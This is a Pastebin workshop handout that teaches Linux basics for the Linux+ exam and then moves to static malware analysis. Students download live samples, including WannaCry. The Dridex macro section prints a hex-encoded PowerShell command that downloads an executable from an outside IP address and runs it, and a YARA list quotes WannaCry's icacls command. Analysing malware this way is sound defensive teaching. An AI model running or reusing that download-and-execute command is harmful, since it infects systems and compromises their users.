Advertisement
joemccray

Linux for InfoSec Pros & Linux+ Exam Prep

Jul 5th, 2017
3,898
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ###############################################################
  2. # InfoSecAddicts Intro to Linux & Comptia Linux+ Exam Prep #
  3. # By Joe McCray #
  4. ###############################################################
  5.  
  6.  
  7.  
  8. ##########
  9. # VMWare #
  10. ##########
  11. - For this workshop you'll need the latest version of VMWare Workstation (Windows), Fusion (Mac), or Player.
  12.  
  13. - http://www.vmware.com/ap/products/player.html
  14.  
  15.  
  16. - Although you can get the VM to run in VirtualBox, I will not be supporting this configuration for this class.
  17.  
  18.  
  19. ##########################
  20. # Download the attack VM #
  21. ##########################
  22. https://s3.amazonaws.com/infosecaddictsvirtualmachines/Ubuntu-17-10-InfoSecAddictsVM.zip
  23. user: infosecaddicts
  24. pass: infosecaddicts
  25.  
  26. - Here is a good set of slides for getting started with Linux:
  27. http://www.slideshare.net/olafusimichael/linux-training-24086319
  28.  
  29.  
  30. - Here is a good tutorial that you should complete before doing the labs below:
  31. http://linuxsurvival.com/linux-tutorial-introduction/
  32.  
  33.  
  34. - Log in to your Ubuntu host with the following credentials:
  35. user: infosecaddicts
  36. pass: infosecaddicts
  37.  
  38.  
  39.  
  40. - I prefer to use Putty to SSH into my Ubuntu host on pentests and I'll be teaching this class in the same manner that I do pentests.
  41. - You can download Putty from here:
  42. - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
  43.  
  44.  
  45. - For the purpose of this workshop 192.168.230.128 is my Ubuntu IP address so anytime you see that IP you'll know that's my Ubuntu host
  46.  
  47.  
  48.  
  49. ########################
  50. # Basic Linux Commands #
  51. ########################
  52.  
  53. ---------------------------Type This-----------------------------------
  54. cd ~
  55.  
  56. pwd
  57.  
  58. whereis pwd
  59.  
  60. which pwd
  61.  
  62. sudo find / -name pwd
  63.  
  64. /bin/pwd
  65.  
  66. mkdir LinuxBasics
  67.  
  68. cd LinuxBasics
  69.  
  70. touch one two three
  71.  
  72. ls -l t (without pressing the Enter key, press the Tab key twice. What happens?)
  73.  
  74. h (and again without pressing the Enter key, press the Tab key twice. What happens?)
  75.  
  76. Press the 'Up arrow key' (What happens?)
  77.  
  78. Press 'Ctrl-A' (What happens?)
  79.  
  80. ls
  81.  
  82. clear (What happens?)
  83.  
  84. echo one > one
  85.  
  86. cat one (What happens?)
  87.  
  88. man cat (What happens?)
  89. q
  90.  
  91. cat two
  92.  
  93. cat one > two
  94.  
  95. cat two
  96.  
  97. cat one two > three
  98.  
  99. cat three
  100.  
  101. echo four >> three
  102.  
  103. cat three (What happens?)
  104.  
  105. wc -l three
  106.  
  107. man wc
  108. q
  109.  
  110. info wc
  111. q
  112.  
  113. cat three | grep four
  114.  
  115. cat three | grep one
  116.  
  117. man grep
  118. q
  119.  
  120.  
  121. man ps
  122. q
  123.  
  124. ps
  125.  
  126. ps aux
  127.  
  128. ps aux | less
  129.  
  130. Press the 'Up arrow key' (What happens?)
  131.  
  132. Press the 'Down arrow key' (What happens?)
  133. q
  134.  
  135. top
  136. q
  137. -----------------------------------------------------------------------
  138.  
  139.  
  140. #########
  141. # Files #
  142. #########
  143. ---------------------------Type This-----------------------------------
  144. cd ~
  145.  
  146. pwd
  147.  
  148. ls
  149.  
  150. cd LinuxBasics
  151.  
  152. pwd
  153.  
  154. cd ~
  155.  
  156. pwd
  157.  
  158. cd LinuxBasics
  159.  
  160. ls
  161.  
  162. mkdir files
  163.  
  164. cp one files/
  165.  
  166. ls files/
  167.  
  168. cd files/
  169.  
  170. cp ../two .
  171.  
  172. ls
  173.  
  174. cp ../three .
  175.  
  176. ls
  177.  
  178. tar cvf files.tar *
  179.  
  180. ls
  181.  
  182. gzip files.tar
  183.  
  184. ls
  185.  
  186. rm -rf one two three
  187.  
  188. ls
  189.  
  190. tar -zxvf files.tar.gz
  191.  
  192. rm -rf files.tar.gz
  193.  
  194. sudo apt install -y zip unzip
  195.  
  196. zip data *
  197.  
  198. unzip -l data.zip
  199.  
  200. unzip data.zip -d /tmp
  201. -----------------------------------------------------------------------
  202.  
  203.  
  204.  
  205. ############
  206. # VIM Demo #
  207. ############
  208. ---------------------------Type This-----------------------------------
  209. cd ~
  210. sudo apt install -y vim
  211. infosecaddicts
  212.  
  213. cd LinuxBasics
  214.  
  215. mkdir vimlesson
  216.  
  217. cd vimlesson
  218.  
  219. vi lesson1.sh
  220.  
  221. i (press "i" to get into INSERT mode and then paste in the lines below)
  222.  
  223. #!/bin/bash
  224.  
  225. echo "This is my first time using vi to create a shell script"
  226. echo " "
  227. echo " "
  228. echo " "
  229. sleep 5
  230. echo "Ok, now let's clear the screen"
  231. sleep 3
  232. clear
  233.  
  234.  
  235. ---------------don't put this line in your script----------------------------
  236.  
  237. ESC (press the ESC key to get you out of INSERT mode)
  238.  
  239. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  240.  
  241.  
  242. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  243.  
  244.  
  245.  
  246. vi lesson1.sh
  247.  
  248. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  249.  
  250. set number (typing "set number" immediately after SHIFT: will add line numbers to vim).
  251.  
  252. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  253.  
  254.  
  255.  
  256.  
  257. vi lesson1.sh
  258.  
  259. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  260.  
  261. set number (typing "set number" immediately after SHIFT: will add line numbers to vim).
  262.  
  263.  
  264. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  265.  
  266. /echo (typing "/echo" immediately after SHIFT: will search the file for the word echo).
  267.  
  268. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  269.  
  270. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  271.  
  272.  
  273.  
  274.  
  275. vi lesson1.sh
  276.  
  277. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  278.  
  279. set number (typing "set number" immediately after SHIFT: will add line numbers to vim).
  280.  
  281.  
  282. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  283.  
  284. 4 (typing "4" immediately after SHIFT: will take you to line number 4).
  285.  
  286. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  287.  
  288. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  289.  
  290.  
  291.  
  292.  
  293. vi lesson1.sh
  294.  
  295. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  296.  
  297. set number (typing "set number" immediately after SHIFT: will add line numbers to vim).
  298.  
  299.  
  300. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  301.  
  302. 4 (typing "4" immediately after SHIFT: will take you to line number 4).
  303.  
  304. dd (typing "dd" will delete the line that you are on)
  305.  
  306. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  307.  
  308. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  309.  
  310.  
  311.  
  312.  
  313. vi lesson1.sh
  314.  
  315. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  316.  
  317. set number (typing "set number" immediately after SHIFT: will add line numbers to vim).
  318.  
  319.  
  320. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  321.  
  322. 4 (typing "4" immediately after SHIFT: will take you to line number 4).
  323.  
  324. dd (typing "dd" will delete the line that you are on)
  325.  
  326. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  327.  
  328. syntax on (typing "syntax on" immediately after SHIFT: will turn on syntax highlighting
  329.  
  330. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  331.  
  332. set tabstop=5 (typing "set tabstop=5" immediately after SHIFT: will set your tabs to 5 spaces
  333.  
  334. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  335.  
  336. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  337.  
  338.  
  339.  
  340.  
  341. vi .vimrc
  342. i (press "i" to get into INSERT mode and then paste in the lines below)
  343.  
  344.  
  345. set number
  346. syntax on
  347. set tabstop=5
  348.  
  349. ESC (press the ESC key to get you out of INSERT mode)
  350.  
  351. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  352.  
  353. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  354.  
  355.  
  356.  
  357.  
  358.  
  359.  
  360. vi lesson1.sh
  361.  
  362. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  363.  
  364. echo $MYVIMRC (typing "echo $MYVIMRC" immediately after SHIFT: will display the path to your new .vimrc file
  365.  
  366. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  367.  
  368. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  369. -----------------------------------------------------------------------
  370.  
  371. ###############
  372. # Permissions #
  373. ###############
  374. ---------------------------Type This-----------------------------------
  375. cd ~
  376.  
  377. pwd
  378.  
  379. ls
  380.  
  381. cd LinuxBasics
  382.  
  383. ls -l one
  384. -----------------------------------------------------------------------
  385. We can determine a lot from examining the results of this command. The file "one" is owned by user "me".
  386. Now "me" has the right to read and write this file.
  387. The file is owned by the group "me". Members of the group "me" can also read and write this file.
  388. Everybody else can read this file
  389.  
  390.  
  391. ---------------------------Type This-----------------------------------
  392. ls -l /bin/bash
  393. -----------------------------------------------------------------------
  394.  
  395. Here we can see:
  396.  
  397. The file "/bin/bash" is owned by user "root". The superuser has the right to read, write, and execute this file.
  398. The file is owned by the group "root". Members of the group "root" can also read and execute this file. Everybody else can read and execute this file
  399.  
  400.  
  401. The next command you need to know is "chmod"
  402. rwx rwx rwx = 111 111 111
  403. rw- rw- rw- = 110 110 110
  404. rwx --- --- = 111 000 000
  405.  
  406. and so on...
  407.  
  408. rwx = 111 in binary = 7
  409. rw- = 110 in binary = 6
  410. r-x = 101 in binary = 5
  411. r-- = 100 in binary = 4
  412.  
  413.  
  414. ---------------------------Type This-----------------------------------
  415. ls -l one
  416.  
  417. chmod 600 one
  418.  
  419. ls -l one
  420.  
  421. sudo useradd testuser
  422. infosecaddicts
  423.  
  424. sudo passwd testuser
  425.  
  426. testuser
  427. testuser
  428.  
  429. sudo chown testuser one
  430. infosecaddicts
  431.  
  432. ls -l one
  433.  
  434. sudo chgrp testuser one
  435. infosecaddicts
  436.  
  437. ls -l one
  438.  
  439. id
  440.  
  441. su testuser
  442. testuser
  443. -----------------------------------------------------------------------
  444.  
  445. Here is a table of numbers that covers all the common settings. The ones beginning with "7" are used with programs (since they enable execution) and the rest are for other kinds of files.
  446.  
  447. Value Meaning
  448. 777 (rwxrwxrwx) No restrictions on permissions. Anybody may do anything. Generally not a desirable setting.
  449.  
  450. 755 (rwxr-xr-x) The file's owner may read, write, and execute the file. All others may read and execute the file. This setting is common for programs that are used by all users.
  451.  
  452. 700 (rwx------) The file's owner may read, write, and execute the file. Nobody else has any rights. This setting is useful for programs that only the owner may use and must be kept private from others.
  453.  
  454. 666 (rw-rw-rw-) All users may read and write the file.
  455.  
  456. 644 (rw-r--r--) The owner may read and write a file, while all others may only read the file. A common setting for data files that everybody may read, but only the owner may change.
  457.  
  458. 600 (rw-------) The owner may read and write a file. All others have no rights. A common setting for data files that the owner wants to keep private.
  459.  
  460.  
  461.  
  462. Directory permissions
  463. ---------------------
  464. The chmod command can also be used to control the access permissions for directories. In most ways, the permissions scheme for directories works the same way as they do with files. However, the execution permission is used in a different way. It provides control for access to file listing and other things. Here are some useful settings for directories:
  465.  
  466. Value Meaning
  467. 777 (rwxrwxrwx) No restrictions on permissions.
  468. Anybody may list files, create new files in the directory and delete files in the directory.
  469. Generally not a good setting.
  470.  
  471.  
  472.  
  473. 755 (rwxr-xr-x) The directory owner has full access.
  474. All others may list the directory, but cannot create files nor delete them.
  475. This setting is common for directories that you wish to share with other users.
  476.  
  477.  
  478.  
  479. 700 (rwx------) The directory owner has full access. Nobody else has any rights. This setting is useful for directories that only the owner may use and must be kept private from others.
  480.  
  481. ######################
  482. # Process Management #
  483. ######################
  484. ---------------------------Type This-----------------------------------
  485. top
  486.  
  487. sudo apt install -y htop
  488. infosecaddicts
  489.  
  490. htop
  491.  
  492. ps
  493.  
  494. ps aux
  495.  
  496. ps -A
  497.  
  498. ps -A | less
  499.  
  500. ps axjf
  501.  
  502. pstree
  503.  
  504. pstree -A
  505.  
  506. pgrep bash
  507.  
  508. pgrep init
  509.  
  510. ps aux | grep apache
  511. -----------------------------------------------------------------------
  512.  
  513.  
  514.  
  515. You can list all of the signals that are possible to send with kill by typing:
  516. ---------------------------Type This-----------------------------------
  517. kill -l
  518.  
  519. sudo kill -HUP pid_of_apache
  520.  
  521. The pkill command works in almost exactly the same way as kill, but it operates on a process name instead:
  522.  
  523. pkill -9 ping
  524. The above command is the equivalent of:
  525.  
  526. kill -9 `pgrep ping`
  527. -----------------------------------------------------------------------
  528.  
  529.  
  530.  
  531.  
  532. ####################
  533. # MD5 Hashing Demo #
  534. ####################
  535. ---------------------------Type This-----------------------------------
  536. cd ~/LinuxBasics
  537. mkdir hashdemo
  538. cd hashdemo
  539. echo test > test.txt
  540. cat test.txt
  541. md5sum test.txt
  542. echo hello >> test.txt
  543. cat test.txt
  544. md5sum test.txt
  545. cd ..
  546. -----------------------------------------------------------------------
  547.  
  548.  
  549.  
  550. #################################
  551. # Symmetric Key Encryption Demo #
  552. #################################
  553. ---------------------------Type This-----------------------------------
  554. cd ~/LinuxBasics
  555. mkdir gpgdemo
  556. cd gpgdemo
  557. echo test > test.txt
  558. cat test.txt
  559. gpg -c test.txt
  560. password
  561. password
  562. ls | grep test
  563. cat test.txt
  564. cat test.txt.gpg
  565. rm -rf test.txt
  566. ls | grep test
  567. gpg -o output.txt test.txt.gpg
  568. password
  569. cat output.txt
  570. -----------------------------------------------------------------------
  571.  
  572.  
  573.  
  574. #########################################################################################################################
  575. # Asymmetric Key Encryption Demo #
  576. # #
  577. # Configure random number generator #
  578. # https://www.howtoforge.com/helping-the-random-number-generator-to-gain-enough-entropy-with-rng-tools-debian-lenny #
  579. #########################################################################################################################
  580. ---------------------------Type This-----------------------------------
  581. sudo apt install -y rng-tools
  582. infosecaddicts
  583.  
  584. sudo /etc/init.d/rng-tools start
  585.  
  586. sudo rngd -r /dev/urandom
  587. infosecaddicts
  588.  
  589.  
  590. echo hello > file1.txt
  591. echo goodbye > file2.txt
  592. echo green > file3.txt
  593. echo blue > file4.txt
  594.  
  595. tar czf files.tar.gz *.txt
  596.  
  597. gpg --gen-key
  598. 1
  599. 1024
  600. 0
  601. y
  602. John Doe
  603. --blank comment--
  604. O
  605. password
  606. password
  607.  
  608.  
  609.  
  610. gpg --armor --output file-enc-pubkey.txt --export 'John Doe'
  611.  
  612. cat file-enc-pubkey.txt
  613.  
  614. gpg --armor --output file-enc-privkey.asc --export-secret-keys 'John Doe'
  615.  
  616. cat file-enc-privkey.asc
  617.  
  618. gpg --encrypt --recipient 'John Doe' files.tar.gz
  619.  
  620. rm -rf files.tar.gz *.txt
  621.  
  622. ls
  623.  
  624. tar -zxvf files.tar.gz.gpg
  625.  
  626. gpg --output output.tar.gz --decrypt files.tar.gz.gpg
  627. password
  628.  
  629. tar -zxvf output.tar.gz
  630.  
  631. ls
  632. -----------------------------------------------------------------------
  633.  
  634.  
  635.  
  636.  
  637. ############################
  638. # Encryption using OpenSSL #
  639. ############################
  640. ---------------------------Type This-----------------------------------
  641. openssl genrsa -out private_key.pem 1024
  642.  
  643. openssl rsa -in private_key.pem -out public_key.pem -outform PEM -pubout
  644.  
  645.  
  646. echo hello > encrypt.txt
  647. openssl rsautl -encrypt -inkey public_key.pem -pubin -in encrypt.txt -out encrypt.dat
  648.  
  649. cat encrypt.dat
  650.  
  651. rm -rf encrypt.txt
  652.  
  653. ls
  654.  
  655. openssl rsautl -decrypt -inkey private_key.pem -in encrypt.dat -out decrypt.txt
  656.  
  657. cat decrypt.txt
  658. -----------------------------------------------------------------------
  659.  
  660.  
  661. ###############################
  662. # Secure File/Folder Deletion #
  663. ###############################
  664. ---------------------------Type This-----------------------------------
  665. sudo apt install -y secure-delete
  666.  
  667. wget https://www.sans.org/security-resources/tcpip.pdf
  668.  
  669. file tcpip.pdf
  670.  
  671. sudo srm tcpip.pdf
  672.  
  673. wget https://www.sans.org/security-resources/tcpip.pdf
  674.  
  675. shred tcpip.pdf
  676.  
  677. wget https://www.sans.org/security-resources/tcpip.pdf
  678. -----------------------------------------------------------------------
  679.  
  680.  
  681.  
  682.  
  683.  
  684.  
  685.  
  686.  
  687. ##############################################
  688. # Log Analysis with Linux command-line tools #
  689. ##############################################
  690. - The following command line executables are found in the Mac as well as most Linux Distributions.
  691.  
  692. cat – prints the content of a file in the terminal window
  693. grep – searches and filters based on patterns
  694. awk – can sort each row into fields and display only what is needed
  695. sed – performs find and replace functions
  696. sort – arranges output in an order
  697. uniq – compares adjacent lines and can report, filter or provide a count of duplicates
  698.  
  699.  
  700.  
  701.  
  702.  
  703. ##############
  704. # Cisco Logs #
  705. ##############
  706. ---------------------------Type This-----------------------------------
  707. wget https://s3.amazonaws.com/infosecaddictsfiles/cisco.log
  708. -----------------------------------------------------------------------
  709.  
  710.  
  711. AWK Basics
  712. ----------
  713. - To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
  714. ---------------------------Type This-----------------------------------
  715. cat cisco.log | awk '{print $5}' | tail -n 4
  716. -----------------------------------------------------------------------
  717.  
  718.  
  719.  
  720. - Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
  721. ---------------------------Type This-----------------------------------
  722. cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
  723. -----------------------------------------------------------------------
  724.  
  725.  
  726.  
  727. - While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
  728. ---------------------------Type This-----------------------------------
  729. cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
  730. -----------------------------------------------------------------------
  731.  
  732.  
  733.  
  734.  
  735. - Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
  736. ---------------------------Type This-----------------------------------
  737. cat cisco.log | grep %LINEPROTO-5-UPDOWN:
  738.  
  739. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
  740.  
  741. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
  742.  
  743. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
  744. -----------------------------------------------------------------------
  745.  
  746.  
  747. ################
  748. # The Scenario #
  749. ################
  750. You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
  751.  
  752.  
  753. The fastest thing you can do is perform static analysis.
  754.  
  755.  
  756.  
  757. ###################
  758. # Static Analysis #
  759. ###################
  760.  
  761. - After logging please open a terminal window and type the following commands:
  762. ---------------------------Type This-----------------------------------
  763. cd Desktop/
  764. -----------------------------------------------------------------------
  765.  
  766. - This is actual Malware (remmeber to run it in a VM - the password to extract it is 'infected':
  767.  
  768. ---------------------------Type This-----------------------------------
  769. cd ~/Desktop/
  770. wget https://s3.amazonaws.com/infosecaddictsfiles/malware-password-is-infected.zip --no-check-certificate
  771. wget https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py --no-check-certificate
  772.  
  773. unzip malware-password-is-infected.zip
  774. infected
  775.  
  776. file malware.exe
  777.  
  778. mv malware.exe malware.pdf
  779.  
  780. file malware.pdf
  781.  
  782. mv malware.pdf malware.exe
  783.  
  784. hexdump -n 2 -C malware.exe
  785. -----------------------------------------------------------------------
  786.  
  787.  
  788. ***What is '4d 5a' or 'MZ'***
  789. Reference:
  790. http://www.garykessler.net/library/file_sigs.html
  791.  
  792. ---------------------------Type This-----------------------------------
  793. objdump -x malware.exe
  794.  
  795. strings malware.exe
  796.  
  797. strings --all malware.exe | head -n 6
  798.  
  799. strings malware.exe | grep -i dll
  800.  
  801. strings malware.exe | grep -i library
  802.  
  803. strings malware.exe | grep -i reg
  804.  
  805. strings malware.exe | grep -i hkey
  806.  
  807. strings malware.exe | grep -i hku
  808. -----------------------------------------------------------------------
  809. - We didn't see anything like HKLM, HKCU or other registry type stuff
  810.  
  811.  
  812. ---------------------------Type This-----------------------------------
  813. strings malware.exe | grep -i irc
  814.  
  815. strings malware.exe | grep -i join
  816.  
  817. strings malware.exe | grep -i admin
  818.  
  819. strings malware.exe | grep -i list
  820. -----------------------------------------------------------------------
  821.  
  822. - List of IRC commands: https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands
  823.  
  824. ---------------------------Type This-----------------------------------
  825. sudo apt-get install -y python-pefile
  826. malware
  827.  
  828. vi analyse_malware.py
  829.  
  830. python analyse_malware.py malware.exe
  831. -----------------------------------------------------------------------
  832.  
  833.  
  834.  
  835.  
  836. ################################
  837. # Good references for WannaCry #
  838. ################################
  839.  
  840. References:
  841.  
  842. https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168
  843. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  844. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  845.  
  846.  
  847.  
  848. - After logging please open a terminal window and type the following commands:
  849. ---------------------------Type This-----------------------------------
  850. cd Desktop/
  851.  
  852. wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
  853.  
  854. unzip wannacry.zip
  855. infected
  856.  
  857. file wannacry.exe
  858.  
  859. mv wannacry.exe malware.pdf
  860.  
  861. file malware.pdf
  862.  
  863. mv malware.pdf wannacry.exe
  864.  
  865. hexdump -n 2 -C wannacry.exe
  866. -----------------------------------------------------------------------
  867.  
  868.  
  869.  
  870. ***What is '4d 5a' or 'MZ'***
  871. Reference:
  872. http://www.garykessler.net/library/file_sigs.html
  873.  
  874.  
  875.  
  876.  
  877. ---------------------------Type This-----------------------------------
  878. objdump -x wannacry.exe
  879.  
  880. strings wannacry.exe
  881.  
  882. strings --all wannacry.exe | head -n 6
  883.  
  884. strings wannacry.exe | grep -i dll
  885.  
  886. strings wannacry.exe | grep -i library
  887.  
  888. strings wannacry.exe | grep -i reg
  889.  
  890. strings wannacry.exe | grep -i key
  891.  
  892. strings wannacry.exe | grep -i rsa
  893.  
  894. strings wannacry.exe | grep -i open
  895.  
  896. strings wannacry.exe | grep -i get
  897.  
  898. strings wannacry.exe | grep -i mutex
  899.  
  900. strings wannacry.exe | grep -i irc
  901.  
  902. strings wannacry.exe | grep -i join
  903.  
  904. strings wannacry.exe | grep -i admin
  905.  
  906. strings wannacry.exe | grep -i list
  907. -----------------------------------------------------------------------
  908.  
  909.  
  910.  
  911.  
  912.  
  913.  
  914.  
  915.  
  916.  
  917.  
  918. Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
  919.  
  920. Quick Google search for "wannacry ransomeware analysis"
  921.  
  922.  
  923. Reference
  924. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  925.  
  926. - Yara Rule -
  927.  
  928.  
  929. Strings:
  930. $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
  931. $s2 = “Wanna Decryptor” wide ascii nocase
  932. $s3 = “.wcry” wide ascii nocase
  933. $s4 = “WANNACRY” wide ascii nocase
  934. $s5 = “WANACRY!” wide ascii nocase
  935. $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
  936.  
  937.  
  938.  
  939.  
  940.  
  941.  
  942.  
  943.  
  944. Ok, let's look for the individual strings
  945.  
  946.  
  947. ---------------------------Type This-----------------------------------
  948. strings wannacry.exe | grep -i ooops
  949.  
  950. strings wannacry.exe | grep -i wanna
  951.  
  952. strings wannacry.exe | grep -i wcry
  953.  
  954. strings wannacry.exe | grep -i wannacry
  955.  
  956. strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
  957. -----------------------------------------------------------------------
  958.  
  959.  
  960.  
  961.  
  962.  
  963.  
  964. ####################################
  965. # Tired of GREP - let's try Python #
  966. ####################################
  967. Decided to make my own script for this kind of stuff in the future. I
  968.  
  969. Reference1:
  970. https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
  971.  
  972. This is a really good script for the basics of static analysis
  973.  
  974. Reference:
  975. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  976.  
  977.  
  978. This is really good for showing some good signatures to add to the Python script
  979.  
  980.  
  981. Here is my own script using the signatures (started this yesterday, but still needs work):
  982. https://pastebin.com/guxzCBmP
  983.  
  984.  
  985.  
  986. ---------------------------Type This-----------------------------------
  987. sudo apt install -y python-pefile
  988. infosecaddicts
  989.  
  990.  
  991.  
  992. wget https://pastebin.com/raw/guxzCBmP
  993.  
  994.  
  995. mv guxzCBmP am.py
  996.  
  997.  
  998. vi am.py
  999.  
  1000. python am.py wannacry.exe
  1001. -----------------------------------------------------------------------
  1002.  
  1003.  
  1004.  
  1005.  
  1006.  
  1007.  
  1008.  
  1009. Building a Malware Scanner
  1010. --------------------------
  1011.  
  1012. ---------------------------Type This-----------------------------------
  1013. mkdir ~/Desktop/malwarescanner
  1014.  
  1015. cd ~/Desktop/malwarescanner
  1016.  
  1017. wget https://github.com/jonahbaron/malwarescanner/archive/master.zip
  1018.  
  1019. unzip master.zip
  1020.  
  1021. cd malwarescanner-master/
  1022.  
  1023. python scanner.py -h
  1024.  
  1025. cat strings.txt
  1026.  
  1027. cat hashes.txt
  1028.  
  1029. mkdir ~/Desktop/malcode
  1030.  
  1031. cp ~/Desktop/malware.exe ~/Desktop/malcode
  1032.  
  1033. python scanner.py -H hashes.txt -D ~/Desktop/malcode/ strings.txt
  1034.  
  1035. cd ~/Desktop/
  1036. -----------------------------------------------------------------------
  1037.  
  1038.  
  1039. #####################################################
  1040. # Analyzing Macro Embedded Malware #
  1041. # Reference: #
  1042. # https://jon.glass/analyzes-dridex-malware-p1/ #
  1043. #####################################################
  1044. ---------------------------Type This-----------------------------------
  1045. cd ~/Desktop/
  1046.  
  1047.  
  1048. sudo pip install olefile
  1049.  
  1050.  
  1051. mkdir ~/Desktop/oledump
  1052.  
  1053. cd ~/Desktop/oledump
  1054.  
  1055. wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
  1056.  
  1057. unzip oledump_V0_0_22.zip
  1058.  
  1059. wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip
  1060.  
  1061. unzip 064016.zip
  1062. infected
  1063.  
  1064. python oledump.py 064016.doc
  1065.  
  1066. python oledump.py 064016.doc -s A4 -v
  1067. -----------------------------------------------------------------------
  1068.  
  1069.  
  1070.  
  1071. - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
  1072. - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
  1073.  
  1074. ---------------------------Type This-----------------------------------
  1075. python oledump.py 064016.doc -s A5 -v
  1076. -----------------------------------------------------------------------
  1077.  
  1078. - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
  1079.  
  1080. ---------------------------Type This-----------------------------------
  1081. python oledump.py 064016.doc -s A3 -v
  1082.  
  1083. - Look for "GVhkjbjv" and you should see:
  1084.  
  1085. 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
  1086.  
  1087. - Take that long blob that starts with 636D and finishes with 653B and paste it in:
  1088. http://www.rapidtables.com/convert/number/hex-to-ascii.htm
  1089.  
  1090.  
  1091.  
  1092.  
  1093. ##############
  1094. # Yara Ninja #
  1095. ##############
  1096. ---------------------------Type This-----------------------------------
  1097. sudo apt-get remove -y yara
  1098.  
  1099.  
  1100. wget https://github.com/plusvic/yara/archive/v3.4.0.zip
  1101.  
  1102. sudo apt-get -y install libtool
  1103.  
  1104.  
  1105. unzip v3.4.0.zip
  1106.  
  1107. cd yara-3.4.0
  1108.  
  1109. ./bootstrap.sh
  1110.  
  1111. ./configure
  1112.  
  1113. make
  1114.  
  1115. sudo make install
  1116.  
  1117.  
  1118. yara -v
  1119.  
  1120. cd ..
  1121.  
